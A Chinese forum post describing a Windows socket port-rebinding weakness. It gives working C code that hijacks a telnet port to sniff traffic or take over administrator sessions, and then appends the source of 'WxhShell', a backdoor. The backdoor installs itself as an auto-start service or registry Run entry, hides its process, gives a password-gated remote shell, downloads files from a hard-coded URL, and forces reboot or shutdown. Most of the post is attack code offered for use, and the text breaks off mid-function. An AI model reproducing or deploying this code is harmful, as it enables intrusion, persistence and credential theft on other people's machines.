社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11139阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  bDq<]h_7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); perhR!#J  
I-W ,C &J>  
  saddr.sin_family = AF_INET; D*g K,`  
j$P`/-N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z#6(PZC}  
=RHIB1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l(8@?t^;  
Xj<xen(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4@M`BH`  
9dva]$^:*1  
  这意味着什么?意味着可以进行如下的攻击: }eSrJgF4M  
&3\3wcZ,q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jEL"Q?#  
3s#/d,+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :b,An'H  
n/% M9osF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q<cxmo0S  
>oapw5~5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _CizU0S  
nd{k D>a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )k81  
OZ&SxR%q4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _lfS"ae  
lr)9U 7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cvjZ$Fcc%(  
P}he}k&IR  
  #include C-&s$5MzGb  
  #include \cHF V  
  #include 5dL!e<<  
  #include    {`9J8qRY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N,&bBp  
  int main() S>d7q  
  { )qRE['M  
  WORD wVersionRequested; !z]{zM%  
  DWORD ret; %]o/p_<  
  WSADATA wsaData; f;bVzti+w  
  BOOL val; `_OB_F  
  SOCKADDR_IN saddr; )4n]n:FjN  
  SOCKADDR_IN scaddr; {]O.?Yru?  
  int err; yp< )v(8|'  
  SOCKET s; dlwOmO'Bm)  
  SOCKET sc; :DFtH13qO  
  int caddsize; Eg1|Kg\&  
  HANDLE mt; )IKqO:@  
  DWORD tid;   4H`B]Zt7  
  wVersionRequested = MAKEWORD( 2, 2 ); HC| ]Au  
  err = WSAStartup( wVersionRequested, &wsaData ); w]US-7  
  if ( err != 0 ) { "j=E8Dd}  
  printf("error!WSAStartup failed!\n"); e]V7 7oc  
  return -1; -9R.mG  
  } e+y%M  
  saddr.sin_family = AF_INET; 5IbCE.>iU  
   '_" S/X +v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <WL] (-9I:  
_!%@V=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A9z3SJ\vXl  
  saddr.sin_port = htons(23); xiF}{25a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v3cLU7bi?2  
  { Lv *USN  
  printf("error!socket failed!\n"); SGpe\P]k  
  return -1; [>lQi X  
  } /pJr%}sc  
  val = TRUE; \+<=O`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d26#0Gt-4i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  }S}%4c>  
  { jm[f|4\  
  printf("error!setsockopt failed!\n"); YOtzj a]~  
  return -1; 2nSK}q  
  } 0SJ(Ln`0K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c&"1Z/tR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h@Ix9!?+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jgBJs^JgYG  
wIF)(t-):  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \ (U|&  
  { hfs QAa  
  ret=GetLastError(); bUc ++M  
  printf("error!bind failed!\n"); {T3wOi  
  return -1; X @X`,/{X  
  } iN2591S  
  listen(s,2); tD]vx`0>  
  while(1) LftzW{>gI"  
  { 5?TX.h9B4  
  caddsize = sizeof(scaddr); )9+H[  
  //接受连接请求 G_xql_QR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H`7T;`Yb  
  if(sc!=INVALID_SOCKET) VgMuX3=  
  { 0kaMYV?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ j<2s"S  
  if(mt==NULL) 3Q_)Xs r`  
  { )b,FE}YX  
  printf("Thread Creat Failed!\n"); E/_n}$Z  
  break; 8*eVP*g  
  } `-5gsJ  
  } 35YDP|XZb  
  CloseHandle(mt); Srrzj-9^)K  
  } S0;s 7X#c  
  closesocket(s); ;s5JYR  
  WSACleanup(); \3 O1o#=(  
  return 0; ,N8SP 'R  
  }   N^jr  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q>uJ:[x+  
  { R)%I9M,  
  SOCKET ss = (SOCKET)lpParam; kuv+TN  
  SOCKET sc; 1z@{ 4)  
  unsigned char buf[4096]; vh^?M#\  
  SOCKADDR_IN saddr; ,+FiP{`  
  long num; H WFnIUv  
  DWORD val; ;Ehv1{;  
  DWORD ret; m4G))||9Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Tlk!6A:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *++}ll6  
  saddr.sin_family = AF_INET; svMu85z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ilQt`-O!  
  saddr.sin_port = htons(23); //yz$d>JN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) COA>y?  
  { 8aW<lu  
  printf("error!socket failed!\n"); >&Vz/0  
  return -1; qG#ZYcVec  
  } \sS0@gnDI  
  val = 100; D`)K3;h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / &yc?Ui  
  { 8 LsJ}c  
  ret = GetLastError(); ex|h&Vma2V  
  return -1; #m3!U(Og`  
  } m|PJwd6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =an 0PN  
  { E+Dcw  
  ret = GetLastError(); 9M@,BXOt  
  return -1;  x(A6RRh  
  } {Bb:\N8X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KR>o 2  
  { :71St '  
  printf("error!socket connect failed!\n"); m5cRHo<9Y  
  closesocket(sc); n"nfEA3{`  
  closesocket(ss); "FLiSz%ME  
  return -1; i.e4<|{  
  } I\|.WrMNi  
  while(1) 6Z{(.'Be  
  { >&Y\g?Z6G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L!~ap  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0_-P~^A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'v5q/l  
  num = recv(ss,buf,4096,0); -6# _t  
  if(num>0) ~g*5."-i  
  send(sc,buf,num,0); ;G*)7fi  
  else if(num==0) W?du ]  
  break; JG{`tTu  
  num = recv(sc,buf,4096,0); (dHjf;  
  if(num>0) 0m4'm<2m  
  send(ss,buf,num,0); <A&Zl&^1  
  else if(num==0) c;88Wb<|W  
  break; A&X XL~yH  
  } 8*&YQId~  
  closesocket(ss); h79~d%-  
  closesocket(sc); h/*@ML+bB8  
  return 0 ; 2g;Id.i>  
  } i>(TPj|  
/b410NP5  
)g`~,3G  
========================================================== t<e3EW@>>  
&@'+h* b  
下边附上一个代码,,WXhSHELL 6u{%jSA>D\  
]6,D 9^{;  
========================================================== i$CF*%+t  
;dTxQ_:  
#include "stdafx.h" bl#6B.*=  
Uv!VzkPfo  
#include <stdio.h> rv2;)3/*  
#include <string.h> Y.% Vvg4z3  
#include <windows.h> ]^<\a=U  
#include <winsock2.h> uS! V_]  
#include <winsvc.h> T5wVJgN>  
#include <urlmon.h> *O7PH1G  
@IOl0db  
#pragma comment (lib, "Ws2_32.lib") i\=I` Yn+  
#pragma comment (lib, "urlmon.lib") Op hD_^  
-:Bgp*S  
#define MAX_USER   100 // 最大客户端连接数 9rT"_d#  
#define BUF_SOCK   200 // sock buffer A| y U'k  
#define KEY_BUFF   255 // 输入 buffer \ !IEZ  
9G4os!x)  
#define REBOOT     0   // 重启 xp*d:  
#define SHUTDOWN   1   // 关机 =)J<R;  
l/A!ofc#)  
#define DEF_PORT   5000 // 监听端口 6Y9<| .  
W?n/>DML  
#define REG_LEN     16   // 注册表键长度 SZvC4lOn#  
#define SVC_LEN     80   // NT服务名长度 D H:9iX'  
=]1g*~%  
// 从dll定义API Ho $+[K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }$s QmR R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gZ=$bR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R#s_pW{op  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  lHE+o;-  
[C@ Ro,mI  
// wxhshell配置信息 3V<c4'O\W  
struct WSCFG { 2m9qg-W  
  int ws_port;         // 监听端口 }Ggn2 X  
  char ws_passstr[REG_LEN]; // 口令 -jVg {f!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZHCrKp  
  char ws_regname[REG_LEN]; // 注册表键名 iDYm4sY  
  char ws_svcname[REG_LEN]; // 服务名 (R(NEN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bk5ft4v-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i*mI-l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }sp?@C,Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AnpO?+\HF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Hb"SB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =>7czw:S 1  
Hro)m"  
}; 4G RHvA.  
Cj J n  
// default Wxhshell configuration Sp]ov:]%f  
struct WSCFG wscfg={DEF_PORT, Y@+9Ukd/  
    "xuhuanlingzhe", P=X)Ktmv  
    1, OXZx!h  
    "Wxhshell", ScRK1  
    "Wxhshell", ,I:[-|Q  
            "WxhShell Service", Wj, {lJ,  
    "Wrsky Windows CmdShell Service", 1[\I9dv2  
    "Please Input Your Password: ", -?Cu-'  
  1, P@Vs\wAT  
  "http://www.wrsky.com/wxhshell.exe", C#RueDa.  
  "Wxhshell.exe" Pd~z%VoO  
    }; U\>k>|Jr{  
".?y!VY  
// 消息定义模块 \U'*B}Sz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u(JuU/U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C}\kp0mz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  !>Q{co'  
char *msg_ws_ext="\n\rExit."; D2zqDo<+;  
char *msg_ws_end="\n\rQuit."; wd1>L) T  
char *msg_ws_boot="\n\rReboot..."; [5Zi\'~UH)  
char *msg_ws_poff="\n\rShutdown...";  nWUau:%  
char *msg_ws_down="\n\rSave to "; epcvwM/A  
muO;g&  
char *msg_ws_err="\n\rErr!"; ^tVIPH.R  
char *msg_ws_ok="\n\rOK!"; +y][s{A  
In*0.   
char ExeFile[MAX_PATH]; {fMo#`9=  
int nUser = 0; Z1wfy\9c8  
HANDLE handles[MAX_USER]; ;XXEvRk  
int OsIsNt; Me^L%%: @  
=q[ynZ8O\w  
SERVICE_STATUS       serviceStatus; A[f `xE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E cd~H+  
rK4 pYo  
// 函数声明 ;`Z>^.CB  
int Install(void); B9'2$s+Z;  
int Uninstall(void); S}K-\[i?  
int DownloadFile(char *sURL, SOCKET wsh); >uE<-klv  
int Boot(int flag); eYPIZ{S7h  
void HideProc(void); Gz7,g Y  
int GetOsVer(void); $BOpjDV8  
int Wxhshell(SOCKET wsl); {<i(aq?  
void TalkWithClient(void *cs); ""jl  
int CmdShell(SOCKET sock); GD!!xt  
int StartFromService(void); !X=93%  
int StartWxhshell(LPSTR lpCmdLine); t`1~5#?Du(  
" pL5j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u3HaWf3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Apkb!"}>  
 0 - u,AD  
// 数据结构和表定义 CC]q\%y-_  
SERVICE_TABLE_ENTRY DispatchTable[] = !@> :k3DC&  
{ ,Uy~O(F t  
{wscfg.ws_svcname, NTServiceMain}, Po.izE!C  
{NULL, NULL} P+,YWp  
}; g5 y*-t  
^;@!\Rc  
// 自我安装 =E&1e;_xlE  
int Install(void) e(9K.3 @{  
{ e{.P2rnh  
  char svExeFile[MAX_PATH]; ~~#/jULbV  
  HKEY key; > Qh#pn*  
  strcpy(svExeFile,ExeFile); -U@ycx|r  
r1sA^2g.  
// 如果是win9x系统,修改注册表设为自启动 t_qX7P8+'  
if(!OsIsNt) { ##U/Wa3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pH0MVu(W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ sBFs.o  
  RegCloseKey(key); D~,i I7ac  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TH+TcYqO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CDDEWVd  
  RegCloseKey(key); s_6Iz^]I  
  return 0; H#QPcp@  
    } GGFrV8  
  } Z FIgKWZ'  
}  FO qD  
else { Qe=eer~jI  
:kucDQE({?  
// 如果是NT以上系统,安装为系统服务 q{7+N1 "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5_SxX@fW %  
if (schSCManager!=0) u)l[*";S  
{ ^0 /!:*?  
  SC_HANDLE schService = CreateService kqLpt  
  ( [O6JVXO>  
  schSCManager, x!UGLL]_M  
  wscfg.ws_svcname, ?)4c!3#  
  wscfg.ws_svcdisp, Q>\9/DjUp  
  SERVICE_ALL_ACCESS, 0|?DA12Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #}8gHI-9%  
  SERVICE_AUTO_START, J#G\7'?{  
  SERVICE_ERROR_NORMAL, x%RE3J-  
  svExeFile, jDW$}^ 6  
  NULL, {!"lHM%  
  NULL, $"Nqto~  
  NULL, S#|5&SR  
  NULL, {|tMN,Z  
  NULL wE_#b\$=b  
  ); 9bD ER  
  if (schService!=0) |LE*R@|3$  
  { (M%ZSF V  
  CloseServiceHandle(schService); +VHo YEW  
  CloseServiceHandle(schSCManager); `~LaiN.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QC+BEN$  
  strcat(svExeFile,wscfg.ws_svcname); 58Z,(4:E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _i0,?U2C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7[(<t+  
  RegCloseKey(key); G3t\2E9S  
  return 0; `R:HMO[ow  
    } E\~!E20^  
  } !(qaudX{>k  
  CloseServiceHandle(schSCManager); 6CzN[R}  
} It8@Cp.dU  
} <Kq!)) J'  
-)E6{  
return 1; +Z/aG k;  
} L%4Do*V&  
Mj:=$}rs^  
// 自我卸载 s=)1:jY k  
int Uninstall(void) g]}E1H6-  
{ lLuAgds`  
  HKEY key; n}q/:|c  
X6o iOs  
if(!OsIsNt) { ['@R]Si"!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { efm#:>H  
  RegDeleteValue(key,wscfg.ws_regname); 4+a u6ABy  
  RegCloseKey(key); /Y*6mQ:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U\;mM\2rE  
  RegDeleteValue(key,wscfg.ws_regname); Vxim$'x!  
  RegCloseKey(key); M"z3F!-j  
  return 0; NSQf@o  
  } 9'h4QF+Y  
} U9yR~pw  
} x5!lnN,#  
else { ~H`(zzk  
P!lTK   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |FZIUS{]  
if (schSCManager!=0) FQikFy(YY  
{ )cxML<j'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H,U qU3b3  
  if (schService!=0) sTF Ru  
  { )Jd{WC.  
  if(DeleteService(schService)!=0) { m#t  
  CloseServiceHandle(schService); (J\Qo9Il  
  CloseServiceHandle(schSCManager); Kv6#WN~  
  return 0; +FtL_7[v  
  } PH]ui=  
  CloseServiceHandle(schService); ?1/wl;=fm  
  } `Z~\&r=  
  CloseServiceHandle(schSCManager); JJE0q5[  
} REKv&^FLN  
} x '`L( C  
Y1U\VU  
return 1; 0D_{LBO6LU  
} ~(d#T|ez  
>[TJ-%V>oR  
// 从指定url下载文件 |%7OI#t^  
int DownloadFile(char *sURL, SOCKET wsh) >tVD[wVF0  
{ vhu5w#]u*  
  HRESULT hr; :X ~{,J  
char seps[]= "/"; )x&OdFX  
char *token; &oqzQ+H  
char *file; UNd+MHE74I  
char myURL[MAX_PATH]; St~a/L q6  
char myFILE[MAX_PATH]; %%Z|6V74  
>PK\bLEo  
strcpy(myURL,sURL); D*o[a#2_  
  token=strtok(myURL,seps); (= ,w$  
  while(token!=NULL) rQD7ZN_ R  
  { ,#QLc  
    file=token; gIaPS0Q  
  token=strtok(NULL,seps); =[V  
  } Z\P&i#  
,[0rh%%j  
GetCurrentDirectory(MAX_PATH,myFILE); <{b#nPc!,#  
strcat(myFILE, "\\"); IBe0?F #  
strcat(myFILE, file); 334tg'2]  
  send(wsh,myFILE,strlen(myFILE),0); 4 | DGQ  
send(wsh,"...",3,0); MbeO(Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xw[|$#QKM  
  if(hr==S_OK) 0`l(c  
return 0; z2.ZxL"*  
else Y'%k G5nF  
return 1; L BP|  
f8?c[%br  
} \hT=U*dMR  
6N.+  
// 系统电源模块 +~]LvZtI_  
int Boot(int flag) d 1bx5U  
{ G%RhNwm  
  HANDLE hToken; J`x!c9zg7  
  TOKEN_PRIVILEGES tkp; p-;I"uKv  
u4p){|x7s  
  if(OsIsNt) { p[M*<==4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @G;\gJT*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4P\?vz"  
    tkp.PrivilegeCount = 1; wX*F'r"z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W6[# q%o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kan4P@XVS  
if(flag==REBOOT) { l&1R`gcW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N3}jLl/  
  return 0; X0QLT:J b  
}  zL,B?  
else { (77EZ07%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jvfQG:F }  
  return 0; P<WCW3!JZ  
} 4BgrG[l)  
  } @on\@~Ug  
  else { R8<'m  
if(flag==REBOOT) { b4HUgW3Ac  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,:1_I`d>#X  
  return 0; X}s}E ;v9  
} 1SYBq,[])  
else { aV'r oxM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AT%@T|  
  return 0; P,@ :?6  
} %[9d1F 3  
} PLmf.hD\  
<CnTiS#  
return 1; #I(Ho:b  
} $J] b+Bp  
RC| t-(Z  
// win9x进程隐藏模块 e:&(y){n(  
void HideProc(void) IfdgMELk  
{  #nS  
v3vQfcxR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /?,c4K,ap  
  if ( hKernel != NULL ) (3>Z NTm  
  { aF~ 0\XC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e+t2F |xDh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]"Qm25`Qz  
    FreeLibrary(hKernel); [N-t6Z*  
  } ATb[/=hP<R  
!}gC0dJ  
return; -%*w&',G  
} 0DFxVH_xN  
mar BVFz~  
// 获取操作系统版本 eaI!}#>R +  
int GetOsVer(void) P{-f./(JD  
{ FB-_a  
  OSVERSIONINFO winfo; .Y"H{|]Mnh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,%FBELqOW  
  GetVersionEx(&winfo); P,ox) )+6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E9L)dMZSpj  
  return 1; +4,v. B@  
  else b:,S  
  return 0; >lRa},5(  
} _k,/t10  
^\X-eeA  
// 客户端句柄模块 Yb<t~jm  
int Wxhshell(SOCKET wsl) I<'wZJRRa  
{ Y GZX}-  
  SOCKET wsh; FD&"k=p+X  
  struct sockaddr_in client; l }i .  
  DWORD myID; 7;UUS1  
G:]w UC\  
  while(nUser<MAX_USER) MU; L7^  
{ P1Z+XRWOM  
  int nSize=sizeof(client); L(yR"A{FsE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UoLvc~n7  
  if(wsh==INVALID_SOCKET) return 1; BihXYux*  
~9OART='  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ 'B0ZL  
if(handles[nUser]==0) *[(}rpp M  
  closesocket(wsh); y3 R+060\3  
else XkWO-L  
  nUser++; 0t-!6  
  } @@,l0/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1HF=,K+  
Ri}n0}I  
  return 0; $LLy#h?V]  
} >^8=_i !  
=c-,uW11[  
// 关闭 socket 1?6;Oc^  
void CloseIt(SOCKET wsh) <3wfY #;><  
{ f\ wP}c'  
closesocket(wsh); <4gT8 kQ$x  
nUser--; ;BsPms@U  
ExitThread(0); RN0@Q~oTI  
} @c<*l+Qc  
)>]~Y  
// 客户端请求句柄 Wb_'X |"u  
void TalkWithClient(void *cs) Wgt[ACioN  
{ o2FQ/EIE  
v>2gx1F"?  
  SOCKET wsh=(SOCKET)cs; |G+6R-_  
  char pwd[SVC_LEN]; vpoeK'bi,  
  char cmd[KEY_BUFF]; c&1:H1#  
char chr[1]; poqcoSL"}  
int i,j; r.5}Q?  
_`/: gkZS  
  while (nUser < MAX_USER) { 'nOc_b0  
ltKUpRE\?  
if(wscfg.ws_passstr) { gg>O:np8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z9k3@\7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rKR2v (c  
  //ZeroMemory(pwd,KEY_BUFF); !+;'kI2  
      i=0; _]~gp.  
  while(i<SVC_LEN) { K[%)_KW  
IpX>G]"-C  
  // 设置超时 ^6*2a(S&  
  fd_set FdRead; d66 GO];"  
  struct timeval TimeOut; 73kF=*m  
  FD_ZERO(&FdRead); < p<J;@  
  FD_SET(wsh,&FdRead); |fx*F}1  
  TimeOut.tv_sec=8; 'n7 )()"2  
  TimeOut.tv_usec=0; )Q_^f'4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hJavi>374  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < sJ  
(p2jigP7a[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w`kn!k8  
  pwd=chr[0]; e12.suv  
  if(chr[0]==0xd || chr[0]==0xa) { yG)zrRU  
  pwd=0; S}q6CG7 u  
  break; Y<'T;@  
  } 6!|-,t><  
  i++; ,O[HX?>  
    } IXp(Aeb  
qVOlUH  
  // 如果是非法用户,关闭 socket _raj b1!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `K.2&6xc  
} |[ymNG  
9?xMsu-H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DYJ F6O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -r%3"C=m  
+I$ k_  
while(1) { xFU*,Y  
kY8aK8M  
  ZeroMemory(cmd,KEY_BUFF); /Ulv/Thl  
v(+9&  
      // 自动支持客户端 telnet标准   1l$c*STK  
  j=0; :Ogt{t  
  while(j<KEY_BUFF) { #&JhA2]q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j[z o~Y4z  
  cmd[j]=chr[0]; #HjiE  
  if(chr[0]==0xa || chr[0]==0xd) { eyq8wQT  
  cmd[j]=0; Q`nsL)J  
  break; =2[5 g!qX  
  } _~?N3G  
  j++; C NDf&dzX8  
    } [89qg+z  
K3QE>@']  
  // 下载文件 h|^RM*x  
  if(strstr(cmd,"http://")) { Zi&qa+F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nf.6:=  
  if(DownloadFile(cmd,wsh)) 'l+).},  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W\V'o Vt  
  else M_wqb'=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {H FF|Dx  
  } O?<R.W<QI  
  else { oxN~(H)/ #  
['p%$4i$  
    switch(cmd[0]) { "PM!03rb  
  V87?J w%2  
  // 帮助 p>w{.hC@  
  case '?': { M_-LI4>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vs3px1Xe#  
    break; Bnju_)U5)  
  } V=)0{7-9  
  // 安装 8`e75%f:2  
  case 'i': { %A@Q%l6  
    if(Install()) XH_XGzBQS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5$kv,%ah  
    else 1'q llkT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2b|$z"97jj  
    break; %d..L-`]ET  
    }  >'>onAIL  
  // 卸载 8cqH0{  
  case 'r': { S GAu.8Js  
    if(Uninstall()) )<w`E{q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6\MH2&L<  
    else A#:5b5R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A^/$ |@  
    break; ';g]!XsY)  
    } Vo@[  
  // 显示 wxhshell 所在路径 mK!73<p_  
  case 'p': { jfxW9][   
    char svExeFile[MAX_PATH]; RQzcsO  
    strcpy(svExeFile,"\n\r"); rQ0V3x1"Qx  
      strcat(svExeFile,ExeFile); *XRAM.  
        send(wsh,svExeFile,strlen(svExeFile),0); h,:8TMJRRN  
    break; "i+fO&LpZ  
    } "c[ D 0{\{  
  // 重启 9$-V/7@)  
  case 'b': { DOi\DJV!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C_>dJYM  
    if(Boot(REBOOT)) 4a'GWzUtS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W0vdU;?%  
    else { (E'f'g  
    closesocket(wsh); Ne^md  
